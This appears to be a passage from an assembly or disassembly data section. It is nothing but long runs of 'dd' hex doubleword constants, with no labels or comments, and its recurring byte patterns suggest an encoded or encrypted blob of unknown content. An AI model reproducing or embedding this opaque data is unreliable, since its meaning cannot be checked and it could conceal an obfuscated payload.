		dd 240C0188h, 9BF49402h, 1262AD2Bh, 9123112h, 0FC7FAC88h
		dd 36F49436h, 71567558h, 6189FAE6h, 44321569h, 0C777FE12h
		dd 0EECCC4FBh, 45A833D8h, 25127435h, 0A32A6399h, 35113162h
		dd 0DE6D3876h, 142383D8h, 4D4943Dh, 575A127Bh, 0BD16E3E7h
		dd 0B31B7076h, 0CA657538h, 1132156Ch, 7A48C4Dh,	70E22775h
		dd 7869CFE0h, 0ACBB749Eh, 8E3510A3h, 44349A69h,	44521566h
		dd 704CDAD8h, 883D9769h, 4EDB1566h, 0A4321566h,	0B88AAB5Fh
		dd 83987B5h, 4BCD90D0h,	223258E3h, 1CDB7566h, 0F1321566h
		dd 0F64422C7h, 62AF2F25h, 404D3B47h, 0ECB6FD07h, 22521566h
		dd 2D974CDCh, 113216E9h, 59B97366h, 413CFC07h, 0A93D1566h
		dd 1132157Ch, 8820FD06h, 42D01566h, 0EF3C25DCh,	5877A299h
		dd 11D4CDDFh, 488B30DDh, 55A7439h, 98321512h, 87DB316Ah
		dd 28321566h, 230F4D69h, 0EDE6DDABh, 8E6040DFh,	0C565E2CCh
		dd 51443162h, 5B94D4Ah,	8CF69642h, 3744FFE7h, 0AE3D4D4Ah
		dd 11321575h, 883F9B69h, 4CDB1566h, 34321566h, 0DED1535h
		dd 0E39D42AAh, 0C43D11B4h, 22321562h, 706A4506h, 972380EFh
		dd 0C4521361h, 0A93D3CAEh, 11321563h, 0FFC158DCh, 40587466h
		dd 32327D9Eh, 40CA1566h, 49B3F4EFh, 44321562h, 0A536FCE5h
		dd 986E316Ah, 8EDB3172h, 0E321566h, 604962CBh, 0F8327F24h
		dd 8832156Ch, 0C057B846h, 46DBD5Ch, 84CDF4CFh, 8E350BDFh
		dd 5D2EAB06h, 2CDB146Eh, 70321566h, 0BDB42C18h,	74E761BAh
		dd 68EAC875h, 94BB7428h, 8E3535C3h, 0FF61459Fh,	74551FA4h
		dd 15164967h, 62B34F3Dh, 12551FA4h, 63E9E93h, 90D49C30h
		dd 883211A0h, 40F49466h, 0A5321566h, 0F86E3152h, 88321568h
		dd 76219AF0h, 0F8B421B6h, 0AC00FB22h, 0CBDAD453h, 24321505h
		dd 223C9769h, 18DB1566h, 0C2321566h, 0BE46AE24h, 1C60E8A8h
		dd 5DDB9400h, 2E5A7404h, 0CD32156Fh, 0AC3D3152h, 11321567h
		dd 33DB89Fh, 4432156Dh,	2232138Fh, 95B7CC66h, 0A578FFBCh
		dd 5A9762D0h, 922B1F63h, 3576167Eh, 91383842h, 0F2370DD6h
		dd 0CB2CB011h, 11321568h, 0E21B05B1h, 339BA10Eh, 63E5A531h
		dd 0E903FC2Eh, 7003D257h, 6BC37D9Ah, 1EBB1566h,	35369442h
		dd 0C33C2C5Ah, 78D9943Dh, 2D791B5Fh, 113214ECh,	945AEC66h
		dd 0CD32152Ch, 0CBC7315Ah, 11321563h, 6C23F904h, 0ADF2257Bh
		dd 22321560h, 4EC72C39h, 0FD9C1D4Bh, 0CF60759Bh, 888D4E9Eh
		dd 7016C964h, 88321F8Fh, 0EAB31F66h, 5C00FCA8h,	9A8C3E62h
		dd 1623152h, 44361086h,	0E2B11566h, 35369262h, 89BF1A3Ah
		dd 0B1321566h, 1CE5D2E7h, 0D6B3065Dh, 0D9626317h, 0ABB3CA4Fh
		dd 73626317h, 2FE5FAE7h, 8752065Dh, 0CE3DD5D9h,	22321566h
		dd 0F1BB4507h, 88321163h, 44363866h, 26B51566h,	5BB4942h
		dd 8834FC42h, 1DC81566h, 2648E628h, 0F78D4231h,	0A1503A0Ch
		dd 1B36311Ah, 0C4F0943Ch, 1E503A0Ch, 883214E2h,	0F9B9E066h
		dd 24351FF7h, 1135FC93h
		dd 3631566h, 0F80BB1E8h, 0DDCDAC23h, 1BDBEA99h,	0C5321566h
		dd 3B3CA745h, 0F8E42717h, 0E4F22452h, 82DB4606h, 0F8321566h
		dd 6EE9087h, 0A83B3992h, 9544F7Eh, 251677BFh, 2232AE35h
		dd 0E2331566h, 94B916ECh, 40F69442h, 0DE321566h, 1E52DD56h
		dd 6165C4D1h, 44321561h, 0D6F7E304h, 4A8BC0C9h,	0D57B7D07h
		dd 70BB1566h, 636EA42h,	0A3527538h, 0BFF79529h,	0AC8B7307h
		dd 16CD7417h, 351E94E1h, 0DC9B7B1Eh, 1989463Eh,	0A32BEF1Ah
		dd 0C0205985h, 0BCC1941Eh, 457E6C18h, 0E3C74EBEh, 0F8521D8Fh
		dd 88321568h, 0C12DD085h, 0E69E15ECh, 0EA49AB9Ch, 26147D2h
		dd 75534ABBh, 3ABC1AA7h, 0F8321566h, 88321575h,	78E5506Bh
		dd 9DA45C7Eh, 957F09C8h, 0B59E7284h, 0E6C86EBh,	0DD0D9069h
		dd 7752EA99h, 610294DFh, 44321569h, 0BD349454h,	73D75D4Bh
		dd 347D9D89h, 25A05265h, 6069437h, 694C41EFh, 18B443Eh
		dd 754A6B32h, 2BDB4CAEh, 0A0321566h, 277D64F4h,	1EC246E0h
		dd 62E9236h, 0DB5C691h,	0B3D4D42h, 4432156Ah, 22349F69h
		dd 993D1566h, 88321566h, 443E9769h, 25DB1566h, 95321566h
		dd 0ABC2C7BFh, 70CDA181h, 0E6B14F42h, 0A863E062h, 88321566h
		dd 4795D4E7h, 0F33346ACh, 1295FCE7h, 89BB46ACh,	45B51A3Fh
		dd 0DA321566h, 1136F9E7h, 0BCBB1566h, 4436AB42h, 0D0331566h
		dd 10B11A38h, 74321566h, 0C5D59C31h, 223211A1h,	15DD9466h
		dd 0F321566h, 0CD6E315Ah, 42523172h, 0AE3D7406h, 0E9CB74B1h
		dd 690F9099h, 0A93D1361h, 1132156Ah, 88349C69h,	0C83D1566h
		dd 22321566h, 3C0F80EDh, 85DB1361h, 91321566h, 5D2B81BAh
		dd 0EFA92D34h, 0FAE44FE7h, 41F7805Fh, 0A63D1361h, 1132153Eh
		dd 88209569h, 49DB1566h, 53321566h, 0D8971483h,	0D9175CCh
		dd 0FD75E510h, 78162199h, 7136D1E5h, 0AC06EA07h, 40F69638h
		dd 22339469h, 46CE1566h, 883211D9h, 0C5F49466h,	2342EB2Ch
		dd 90DC9498h, 0D742EB2Ch, 0B89AFC93h, 4452EA99h, 4052CDD9h
		dd 88329469h, 256C1566h, 78162199h, 1136D1E7h, 0E8521566h
		dd 44329769h, 2ADA1566h, 0D6321566h, 62ABE26h, 1CE90A3Dh
		dd 26B11A07h, 77321566h, 0E95FA5DEh, 171621EDh,	0E1B3F6EFh
		dd 11321562h, 8836D6E7h, 58B51566h, 0CB524942h,	11321574h
		dd 0B1B7B909h, 3307A95h, 0AE1F0EDDh, 0D8528529h, 3988E3F9h
		dd 25098CDDh, 2EB9E007h, 0F3BB4742h, 8836D7E7h,	86B11566h
		dd 6269262h, 9A53753Ah,	1623162h, 44361086h, 0E2B11566h
		dd 35369262h, 8839FC3Ah, 17441566h, 6AAFA706h, 25DEC213h
		dd 0A5B7D264h, 44341254h, 0CB321566h, 11321569h, 0AB3C3B28h
		dd 87DD96C3h, 0C2AF8F30h, 0D6D9C549h, 8F390CE3h, 44321560h
		dd 29B71A66h, 0F8321566h, 88321560h, 2ADA2E9Bh,	9FB1F8FEh
		dd 173C6F87h, 9DB61A66h, 4B321566h, 223214EAh, 8CBFE966h
		dd 8E3F877Fh, 0F6FD9506h, 0DAE1EA07h, 12679099h, 81DB1361h
		dd 0AD321566h, 0C29736Eh, 24172A37h, 8B67A8E5h,	4B561361h
		dd 2230BAE4h, 0A852E966h, 0A2DD2925h, 158B7306h, 26FB95AEh
		dd 94F57407h, 8E351633h, 44321567h, 0A33D7506h,	11321566h
		dd 8FE8AB07h, 0AD53512Bh, 2232156Bh, 17B19339h,	216BFADFh
		dd 32AB5E04h, 445275FAh, 923DD4EDh, 8832157Fh, 4432018Fh
		dd 538FC366h, 0E7BAF506h, 809B1AA5h, 3AF3F7C0h,	6B8576FFh
		dd 94BF745Dh, 8E3C77ECh, 443A9669h, 0AC3D1566h,	11321564h
		dd 58CD7406h, 4432058Fh, 83B4F866h, 2DF5320h, 0C69DD20Eh
		dd 0E909F50Fh, 938798F8h, 1E341B1Dh, 883210E3h,	0FB3D7566h
		dd 9FBF749Fh, 173D1FA1h, 88229B69h, 4FDB1566h, 0ED321566h
		dd 138D8FCEh, 0CE171311h, 0ABB3ED64h, 52A413CFh, 0AC67E24Fh
		dd 0F8A413CFh, 4B6FFA67h, 223214E1h, 9861E066h,	0D368469Dh
		dd 44239969h, 2EDB1566h, 14321566h, 2897FB27h, 23DAF59h
		dd 0A9A4EC72h, 163884DBh, 9BDB7560h, 45321566h,	93A954EEh
		dd 5B7E9E99h, 60D814Ch,	32DD65B6h, 0A9549B7Ch, 0EE8B74A7h
		dd 70CDEA99h, 44209C69h, 2FDB1566h, 17321566h, 64AEB86h
		dd 656DCC9Dh, 0E76227F5h, 7052D557h, 48B37306h,	0C753F7F2h
		dd 2EBB118Ah, 1132AC42h, 79331566h, 4B6B14ECh, 223201E9h
		dd 113DFC66h, 36501566h, 77E96675h, 0B469C22Ch,	0F354E4CFh
		dd 61FA2567h, 44321561h, 27C13AFFh, 0F853B2B3h,	88321572h
		dd 1F90D4B8h, 0F5DCB615h, 8402F279h, 0B69C24DDh, 7BFF816h
		dd 2233AC37h, 0DF331566h, 0E9C7753Fh, 0CFB52199h, 0E6B13162h
		dd 10B31A62h, 71321566h, 243AFCA7h, 0AE3D53D6h,	11321564h
		dd 0B9537406h, 4DBD1AA7h, 42321566h, 84C28CDFh,	0E9537509h
		dd 25B71A2Ch, 2DCDEA99h, 113214EBh, 64B3E066h, 44321562h
		dd 0A31619EFh, 61CE3152h, 0BD6A7300h, 2254659Ah, 2BDBED06h
		dd 18321566h, 3860F2C7h, 0EA579AFEh, 0F1C58607h, 0D203CD57h
		dd 0B1CBCD57h, 430294E3h, 57B61A60h, 71321566h,	3EC59E00h
		dd 41DB744Ah, 0CE321566h, 87178359h, 8B477D30h,	0C56C581Eh
		dd 5A316088h, 0E4BB402Bh, 0D66FFDEFh, 5F8B7306h, 9F8973BCh
		dd 0D13974CDh, 88249069h, 0BD521566h, 0E5531AD0h, 16211CE3h
		dd 88321460h, 45B91A66h, 0DA321566h, 5CC4AF34h,	62B30BD5h
		dd 1EC06F1Fh, 6375DFE7h, 0D3B33706h, 9462935Dh,	50B9C467h
		dd 26F69642h, 10BC1A9Fh, 7D321566h, 22647507h, 9D98FDE7h
		dd 9BB1A3Eh, 61321566h,	44321575h, 0EF55ACA8h, 3FD482B8h
		dd 997F3650h, 2016D95Dh, 43EA6272h, 1393AA31h, 6FE30899h
		dd 5F14AB30h, 0E4B34C22h, 8E4FE41Ah, 16CE267h, 4BDB4A9Fh
		dd 51321566h, 5483F456h, 0B1B35AE5h, 0B2F1DAD1h, 0B75AB4C2h
		dd 9832152Bh, 5589317Ah, 77BCB5Dh, 7A2AD6E7h, 0CBBBC952h
		dd 619FEC3Dh, 4432156Dh, 3C9017A6h, 0D39BECB7h,	61C1B680h
		dd 4432156Ah, 0BEB131AFh, 438BE645h, 2D745BC4h,	6587A0EFh
		dd 2DDB1361h, 70321566h, 49F24E3Fh, 0CB0682CAh,	247474A7h
		dd 0AB60B820h, 96A71941h, 1ECE43EFh, 2ACE7BA7h,	0C2CE53E7h
		dd 90E1C4Dh, 6B46E920h,	44B340EDh, 0A930B59Ah, 74449426h
		dd 44821566h, 223C9369h, 1E521566h, 883215EBh, 44B61A66h
		dd 43321566h, 0FFDCFB5Bh, 38B71A88h, 4B321566h,	22321FE8h
		dd 1137FC66h, 75211566h, 0C53F35E3h, 0FFEFC858h, 85B71ABBh
		dd 0E8321566h, 5460AA00h, 21F4E9DDh, 923D7423h,	88321567h
		dd 0B0894693h, 6930F92Bh, 0FAB3C691h, 0F84F44C3h, 2CC19425h
		dd 0ABBE8306h, 903D4E78h, 8832156Fh, 9FB37306h,	0E5B91FB9h
		dd 15DE9607h, 301611EFh, 44321562h, 426AD367h, 11321D8Fh
		dd 0A9F35A66h, 66513BBBh, 223EFC40h, 1CED1566h,	9D1EB59Ah
		dd 3081E228h, 0AB535274h, 1613A0D3h, 7CDBE960h,	24321548h
		dd 2232058Fh, 6AF9B066h, 62F050D0h, 1FEE17E4h, 65EB4683h
		dd 0C7B973FEh, 76B4FC07h, 14C7EA99h, 0A11609EDh, 18DB11A2h
		dd 0E7321566h, 0C750E40Bh, 10BEEF24h, 23B9055h,	49CE1361h
		dd 4CDB16AEh, 5F321566h, 0CDF75BF5h, 0A57F5902h, 5F355469h
		dd 9F67C54Fh, 4BE92534h, 8CD7D42Bh, 36FDD0E7h, 0CFF334EAh
		dd 5F79465h, 89330A34h,	0C63D488Eh, 22321567h, 0D1F3EC93h
		dd 883FFC76h, 1F671566h, 99308EFAh, 5C77D652h, 87E20BF5h
		dd 44321CE5h, 8E887566h, 474CA0D6h, 4003743Ch, 4432138Fh
		dd 6FCD7666h, 987AB6D3h
		dd 8F211CFBh, 0CF617560h, 1F534EB5h, 11331566h,	89E69669h
		dd 0C5CB1566h, 9989AE58h, 0D6B71ADDh, 87321567h, 44321BE2h
		dd 223BFC66h, 451C1566h, 913285Eh, 0ADF7967Dh, 22321572h
		dd 49EE6C9Bh, 21BB7F66h, 0AE9E2B54h, 0EC9630AAh, 5CB0E221h
		dd 885D8D0Eh, 602E9C66h, 9B127ADDh, 15D19456h, 0CB604821h
		dd 73CEF6E7h, 0D1B35A27h, 44864686h, 934FEA7h, 12E75A8Dh
		dd 792C9C67h, 11339E69h, 0E8CB1566h, 0D285AD00h, 71534F34h
		dd 113211DDh, 3EC1466h,	80B3317Ah, 22321562h, 1139FC06h
		dd 4B441566h, 4AA4F3E9h, 1A1A8A3Dh, 0A4BB74D7h,	8E3534D3h
		dd 0B9AF9E9Fh, 42341266h, 6413AE00h, 8832108Fh,	0FDBD0966h
		dd 0DD539790h, 351E9455h, 0A7AC0B67h, 0C51619EDh, 223211A2h
		dd 10F39466h, 0E81D8B78h, 44BC1A06h, 0A3321566h, 3DAEADAFh
		dd 23D7455h, 44321564h,	425365D4h, 5B94507h, 8CF69642h
		dd 8AB97306h, 43BEC6E6h, 1120FC06h, 3E8F1566h, 1CFCBA21h
		dd 3B846254h, 20D7349Fh, 87DF9F36h, 44395B0Eh, 6269C66h
		dd 9419E03Eh, 8E35013Bh, 44321B8Fh, 231E3966h, 57860A48h
		dd 0EF82D255h, 85A8FFECh, 28DB1786h, 9B321566h,	9DD25606h
		dd 30DAA4BCh, 3FB71657h, 0E834126Eh, 136F9E5h, 1C643162h
		dd 0A03D7538h, 11321560h, 88329169h, 0CE3D1566h, 22321562h
		dd 15B0AE00h, 8DCAB807h, 5AF23E97h, 0B22A5563h,	3CFA1414h
		dd 0FAA20D26h, 8419E44Bh, 39B21A78h, 71321566h,	0E2FB9400h
		dd 443CFDC3h, 6DA41566h, 9627029Ch, 0BD1AA7CBh,	692C13A8h
		dd 0ABCE743Eh, 712E3122h, 0E588AC00h, 443CFC07h, 60311566h
		dd 0ED4BC81Ch, 0AA0FFE8Ah, 148C3416h, 0F9DBED07h, 0F8321564h
		dd 88321560h, 61CDDE3Fh, 0AB656693h, 15F59481h,	9321566h
		dd 44321189h, 60E9266h,	353E9C3Ah, 8832138Fh, 40C9BE66h
		dd 77643030h, 0D4B3F0EFh, 88321562h, 4436F8E7h,	0EB51566h
		dd 5BB4942h, 883AFC42h,	1A041566h, 0FC24F152h, 0D803754Ch
		dd 88399069h, 42DB1566h, 72321566h, 0B7862A3Ch,	2DA79E70h
		dd 4B341246h, 223214E6h, 1309E966h, 88839169h, 4BCE1566h
		dd 22321EEEh, 0C08D7566h, 0EE7FF301h, 25C6F8D8h, 2236AC37h
		dd 0D3B31566h, 0BD473B9Dh, 0AEB3DF67h, 17473B9Dh, 708A753Fh
		dd 0E84B987Eh, 255307D6h, 0DDCDAF34h, 0C01BEA99h, 883CFC3Ch
		dd 469B1566h, 9A0EE257h, 6DDD03E1h, 3C75D03Dh, 41F7985Dh
		dd 0A73D1361h, 0EECDEAF8h, 88339A69h, 17CE1566h, 223215DDh
		dd 4A6A4666h, 0A3D759Fh, 44321573h, 22321A8Eh, 7DB1A166h
		dd 3F0B9B0h, 0AB28C4C7h, 0F613F396h, 0DAB2423Ch, 5534A78h
		dd 437C09EBh, 0C3CDEC60h, 11279F69h, 9521566h, 0A1BC658Eh
		dd 223AFC7Eh, 31AD1566h, 0D2CDEF01h, 0CD53B982h, 251F28EBh
		dd 5B9ED60h, 69BB4442h,	4436D4E7h, 0E3B11566h, 353E9262h
		dd 354753Ah, 95B3739Ch,	42530583h, 2B3FAC00h, 0BCCD749Fh
		dd 80B34C42h, 22321562h, 1132058Fh, 7809B066h, 83078634h
		dd 0D061DD74h, 4D624680h, 0B8507D31h, 70BB1566h, 2222FC42h
		dd 7E831566h, 3F0C4AD6h, 65CF42DCh, 7F0816A7h, 8CB9740Eh
		dd 8E35159Bh, 44359469h, 0A63D1566h, 11321567h,	0BBCDEC9Ah
		dd 2850AB30h, 561B4CF1h, 486C1142h, 0E450D4E7h,	0CF3D4CF1h
		dd 2232156Ah, 11349C69h, 0E3D1566h, 44321566h, 0F0F90EDh
		dd 0F8C71361h, 88321574h, 0CB34E42Fh, 5954FD65h, 8A2870E5h
		dd 6F73C9F6h, 0A4E3FFD4h, 33B7169Fh, 0F8341278h, 88321560h
		dd 0DBF0AD37h, 0D4036F6Fh, 11321A8Fh, 0D45DF866h, 5C566D22h
		dd 0A3F61C87h, 0EF09EEC6h, 4E03E557h, 4CDBE557h, 14321566h
		dd 0EA65FB8h, 0EE4B09FCh, 0C63D75CBh, 2232157Fh, 1132018Fh
		dd 11868D66h, 0F7ADB96Fh, 9E2066FAh, 891EE012h,	359EF2EDh
		dd 8CB97339h, 20D2D407h, 11321B8Fh, 0CFAF3E66h,	46EB817Ah
		dd 59A663E7h, 122A2DEFh, 8F3A08E3h, 45BB1A60h, 0D7321566h
		dd 11349869h, 0EE521566h, 258557D8h, 223FF90Eh,	35369C66h
		dd 616C4D30h, 4432156Bh, 8E44FCCCh, 60D36504h, 0BB76E01Ah
		dd 4CB31ABBh, 2D321566h, 113217E8h, 25537566h, 9B8F409Fh
		dd 0A376F26Eh, 45D31C8Bh, 0D5DA1482h, 921FDD67h, 0CB528741h
		dd 11321569h, 44DC63ADh, 413BA58Fh, 6DFFCB65h, 0EEA7FCCDh
		dd 96C3152h, 443211A2h,	9FB1EC66h, 17353387h, 1DB61A67h
		dd 0B8321566h, 391F985Dh, 953D1361h, 883215EEh,	45BF2E9Ah
		dd 2D34127Dh, 11326EE2h, 0D7607566h, 10A3AD00h,	0B7BF2E07h
		dd 1E341278h, 883272E2h, 4DB91A66h, 42321566h, 628D06D6h
		dd 0E936BCBDh, 9F4F88EBh, 0A43D1368h, 1132156Fh, 0EED5A706h
		dd 516DE2E7h, 2DE1EA07h, 11321CE7h, 5DB87566h, 8C7F9ED9h
		dd 7263745Dh, 48FD9C3Fh, 0A5B79C9Fh, 4B34126Ah,	22321FEBh
		dd 0EAB97566h, 5ABDD6E7h, 0AD5338B6h, 22323714h, 11389D69h
		dd 8DDB1566h, 0E4321566h, 526633D6h, 0CA4F88EBh, 82DB1368h
		dd 60321566h, 0B7E824E9h, 1259257Bh, 87E1EA42h,	44321DE6h
		dd 0AD3D7566h, 11321566h, 698F9607h, 44341240h,	22B49169h
		dd 0F8CB1566h, 8832156Eh, 1DD57B17h, 4E56E957h,	307B905Dh
		dd 0C3D1361h, 44321551h, 223A9F69h, 9D3D1566h, 88321564h
		dd 0AC527406h, 22321568h, 2B475859h, 43B783B9h,	0E994087Dh
		dd 0CAB2C8FDh, 0A63D4D92h, 0D0974ACh, 4235037Bh, 22049069h
		dd 0F8C71566h, 77CDEA46h, 42BD1A06h, 2D321566h,	113215EDh
		dd 0E9E5A366h, 4426FC06h, 24861566h, 33FE2C72h,	0B3E690CFh
		dd 0DCC2F4C7h, 0D3EA6FA9h, 90543781h, 0E96D348Eh, 695B905Dh
		dd 0A73D1361h, 113215F3h, 88389E69h, 41DB1566h,	54321566h
		dd 33BB2013h, 0A9BFA8E5h, 4B321361h, 223222E2h,	0DBED66h
		dd 49321566h, 88076316h, 0A9227CF8h, 0EBC9A4B9h, 0B3ADF14Dh
		dd 665FA8E5h, 2D321361h, 113241E2h, 883CFC66h, 4B9E1566h
		dd 0FF7EC1FEh, 58E9844Dh, 0E8415F81h, 744D90EBh, 9C521368h
		dd 4BD1BCE2h, 8832018Fh, 0B3DE1D66h, 0A1D69AF7h, 55ADFBAh
		dd 626DA9CDh, 0F29DAA7Bh, 47DB7427h, 0F8CDEA98h, 88321577h
		dd 2466831Ah, 0C41FB0CBh, 0EE7118E2h, 909D940Bh, 2DB72E24h
		dd 2D34124Bh, 0EECC56E2h, 35B1E999h, 423C6FA3h,	5CB71A67h
		dd 1E321566h, 883206ECh, 443CFC66h, 1AD91566h, 16183AFCh
		dd 455F862Ch, 0F85AB73Ah, 2232078Fh, 0C0637D66h, 93F3DC4Ch
		dd 457437A5h, 0ECE299E6h, 2A260C9Dh, 8648ECE3h,	6B71A60h
		dd 0CB321566h, 11321577h, 0CB261504h, 56FADE52h, 0E1C95D15h
		dd 3106AF24h, 6CB798C4h, 4B324C6Dh, 223219E3h, 17B51A66h
		dd 87321566h, 443215E3h, 0C9DBE966h, 0F8CDEA9Bh, 8832156Fh
		dd 0DC724B4Ch, 0B092F759h, 0EDCD246Ch, 948BA8E5h, 4B321361h
		dd 222331E2h, 1134FC66h, 29271566h, 0CC44F8DDh,	58D7905Dh
		dd 943D1368h, 88321541h, 0A8B2759Fh, 0FBB3737Ah, 9A53BAC1h
		dd 8F35E0E3h, 45BB1A60h, 0D7321566h, 0EECDAC37h, 471BEA99h
		dd 0FA54753Fh, 195305FBh, 1F48F8E3h, 0C0B71A60h, 4B321566h
		dd 223205EBh, 1139FC66h, 1C7B1566h, 0C610B32h, 2D87D43Dh
		dd 0A0B79E6Dh, 61341278h, 44321563h, 6FFF5129h,	0EE88476Dh
		dd 0A1CDEA99h, 0C63D4FB1h, 22321567h, 1DB81A9Eh, 87321566h
		dd 443213EEh, 22BA1A66h, 2A321566h, 8648FCE3h, 1CB71A60h
		dd 0CB321566h, 1132156Dh
		dd 0A8248B25h, 4C585C12h, 0A97E6437h, 16027CE3h, 9BB41A60h
		dd 0AD321566h, 22321568h, 12646FF3h, 0DA359787h, 959CCF76h
		dd 70CA568Fh, 113214DCh, 0D2E51466h, 442B9B69h,	36DB1566h
		dd 14321566h, 0F876811Fh, 57D10AD5h, 0A587DC60h, 209F216Bh
		dd 0B372E18Eh, 4A48E4E3h, 46B71A60h, 0F8321566h, 88321575h
		dd 0E909F50Fh, 9F104DF8h, 0B985E43h, 0ABE83AECh, 246FF6F7h
		dd 2232128Fh, 73F09866h, 84819A50h, 44349D69h, 0AA3D1566h
		dd 11321566h, 0CDB79E07h, 0AD341257h, 2232156Eh, 0A91C0520h
		dd 0A3568CDFh, 4433AB30h, 0D5331566h, 1123FC38h, 0E0CF1566h
		dd 0E6284767h, 6CA9BDE0h, 6CD7F0BBh, 0B30D5083h, 4A48E0E3h
		dd 1EB71A60h, 0E4321566h, 865790EDh, 0CD3D1361h, 22321578h
		dd 112A9569h, 9BDB1566h, 8B321566h, 58FC3486h, 8C9788B7h
		dd 4609BE77h, 3F7F288Ah, 0DD6520C6h, 2DB93162h,	8CF69642h
		dd 44339369h, 19CB1566h, 1F48ECE3h, 0BFB71A60h,	0BC321566h
		dd 3B79E9Ah, 1E341256h,	883209E9h, 52B11A66h, 0CB321566h
		dd 11321577h, 0ACEE9087h, 0FD3B3992h, 0D245097Eh, 0C0A11B38h
		dd 0B9F524F2h, 4F5249Eh, 0E9B875F1h, 94097493h,	8E3C6F9Bh
		dd 44199069h, 0DA521566h, 70C4AA69h, 819790EDh,	4EDB1361h
		dd 48321566h, 7AE4B0AAh, 0AC09FC5Fh, 0BB894643h, 0BCDEA99h
		dd 973D4EB9h, 88321567h, 45B72E93h, 2D341B1Dh, 113220E3h
		dd 0DB9ED66h, 42351A8Fh, 2EDA7506h, 23321566h, 0DEFE98AAh
		dd 0B8D67F9Bh, 7C69CB4Fh, 9A537406h, 3062749Eh,	0BBCDEA99h
		dd 0CB6AD24Fh, 11321560h, 0EB396625h, 0C10911CFh, 243C6E63h
		dd 117E9069h, 9521566h,	0BF71F18Dh, 3F7AE2Fh, 0F8534F09h
		dd 88321577h, 0C8900D69h, 0E2E3D21Ch, 0C5CAF7C1h, 5B1368Ah
		dd 0CDB79EEFh, 2D341267h, 113214E6h, 965ED66h, 0BBCD314Ah
		dd 2D6DEA99h, 113218E1h, 9547566h, 4B718B85h, 223215E0h
		dd 94097466h, 8E3C6E6Fh, 44629069h, 0CB521566h,	11321576h
		dd 0DF5BDA3Bh, 74D374C4h, 959BE129h, 323E9E59h,	0E9FBA269h
		dd 474790EDh, 44521361h, 9A54C6EDh, 31637498h, 44321567h
		dd 2D6BDA67h, 11320CE6h, 9BB21A66h, 0AD321566h,	22321568h
		dd 864A7832h, 9187B6B6h, 4F7CB418h, 0A709AADAh,	173C6E77h
		dd 88549069h, 4BC71566h, 223206EBh, 18DB7566h, 5321566h
		dd 2EFC8432h, 0AFBCC7F1h, 70FA9E00h, 984B90EDh,	0AD521361h
		dd 22321575h, 918F37Dh,	51DCD891h, 100C3F72h, 0DC3BFE6Eh
		dd 77A2BC81h, 0E987E1DFh, 0BFFAE35h, 0E1B37665h, 8DCEA552h
		dd 8769CA67h, 443214E1h, 0A63DEC66h, 1132156Ah,	88349469h
		dd 0C33D1566h, 22321566h, 6A3F905Dh, 0D3D1368h,	443215DBh
		dd 0AC8C7306h, 1122FDABh, 96B71566h, 78496C74h,	27F658BAh
		dd 871C93F6h, 80DB51E0h, 13321566h, 0CA73E2FAh,	49C8A542h
		dd 35B1ED07h, 423527B7h, 0A4B71A66h, 0F8321566h, 8832156Fh
		dd 81A506A4h, 718588BDh, 60B79EB5h, 6134126Fh, 44321574h
		dd 1F30E818h, 73077155h, 5723FCF9h, 3D5CFEC1h, 32DB4649h
		dd 0B8321566h, 0D109F94Ah, 9B3C474Bh, 57B5B87Ch, 423F706Ah
		dd 9F1782DDh, 82F9941Fh, 0A33CD93Eh, 0CA248F85h, 63F35E06h
		dd 15D99460h, 2333960Ah, 9B3D4EB9h, 88321547h, 4426FC06h
		dd 7A1F1566h, 18CD2A2Dh, 0F579F3FCh, 0FCD2651Dh, 0F3F25E0Dh
		dd 943DA04Dh, 88321566h, 258F9607h, 22341262h, 11689169h
		dd 0EE521566h, 0C562D3EDh, 717EC2B1h, 2A534C05h, 86498CE3h
		dd 5B71A60h, 42321566h,	1132058Eh, 0EE2B5866h, 7174CB7Ch
		dd 346278FAh, 0F3B5E94h, 3544AA8h, 0C1B974B9h, 24351257h
		dd 778C4393h, 9699422h,	1C1E6B80h, 20DCD417h, 0D034FBA7h
		dd 7EB31280h, 6CB21767h, 0D76CE267h, 1A33A8E5h,	87321361h
		dd 443052E2h, 2239FC66h, 2E0F1566h, 0C71EE717h,	6042EAD6h
		dd 138F965Eh, 1134126Eh, 8A189169h, 57DB1566h, 68321566h
		dd 0AED363B2h, 2BA5A425h, 0E7808394h, 3D0B4CB9h, 9409848Fh
		dd 8E3C6E1Bh, 44139069h, 0AF3D1566h, 11321567h,	7DB79E93h
		dd 24341274h, 138D99DFh, 0C8B97300h, 898F4007h,	45321566h
		dd 19CE4889h, 1F4998E3h, 0CAB71A60h, 0B1321566h, 130F90EDh
		dd 993D1361h, 8832157Ah, 443CFD06h, 0EAF11566h,	0AC26EF9Ch
		dd 936D66D1h, 0E3C86AD7h, 22B61A3Dh, 70321566h,	77CDAB30h
		dd 0B31BEA99h, 0F5B37538h, 27844EB8h, 88309969h, 66831566h
		dd 0A3B72E07h, 1E341B1Dh, 883243E3h, 443EFC66h,	8F9E1566h
		dd 545DB91Fh, 30560D17h, 0CD3D4B79h, 2232156Fh,	11BD1A06h
		dd 71321566h, 21B79E07h, 0DA341248h, 1133AB30h,	7F331566h
		dd 443DFC38h, 75101566h, 0FC99E653h, 1BC8300h, 5DF9E6B3h
		dd 2EB31A62h, 0F8321566h, 88321561h, 7B7A526Fh,	19E6B3B4h
		dd 1F4984E3h, 0BEB71A60h, 0AD321566h, 22321575h, 1CC00D59h
		dd 7E784517h, 0FA43467Bh, 9BA78BC6h, 9AE364FAh,	8F0380E3h
		dd 8BB5E960h, 0A533D4E5h, 18DB75A9h, 46321566h,	0B0C5EC81h
		dd 0EACFA977h, 84B72E07h, 87341B1Dh, 443254E3h,	0A7B9ED66h
		dd 173539C3h, 8820FD06h, 60D31566h, 0D70CB83Dh,	4249858h
		dd 0A45790D6h, 0E07A830Eh, 7D04CAE6h, 108B4407h, 89321566h
		dd 0C13D4CA9h, 22321568h, 11321C8Fh, 0F0DC3F66h, 8306FA78h
		dd 0A7098EDDh, 173C6EE3h, 887E9069h, 4ADB1566h,	62321566h
		dd 609962BBh, 0A45D28E0h, 0B3EE6BDCh, 9FB79E67h, 1E34126Bh
		dd 883219E1h, 42BD1A66h, 2D321566h, 113215EDh, 0BEA27D66h
		dd 78BB1566h, 636EA42h,	1122FC39h, 3E1E1566h, 2656DF56h
		dd 0EBB6771Eh, 9C1B584Dh, 0D099921h, 423C6EEFh,	22709069h
		dd 9E3D1566h, 88321567h, 81B79E93h, 0D7341264h,	11369669h
		dd 0D8521566h, 0FA64743Eh, 22321567h, 1E6CE267h, 88321BEBh
		dd 443BFC66h, 93A61566h, 5C5CA2E4h, 0E88557C8h,	0AEA4D6E7h
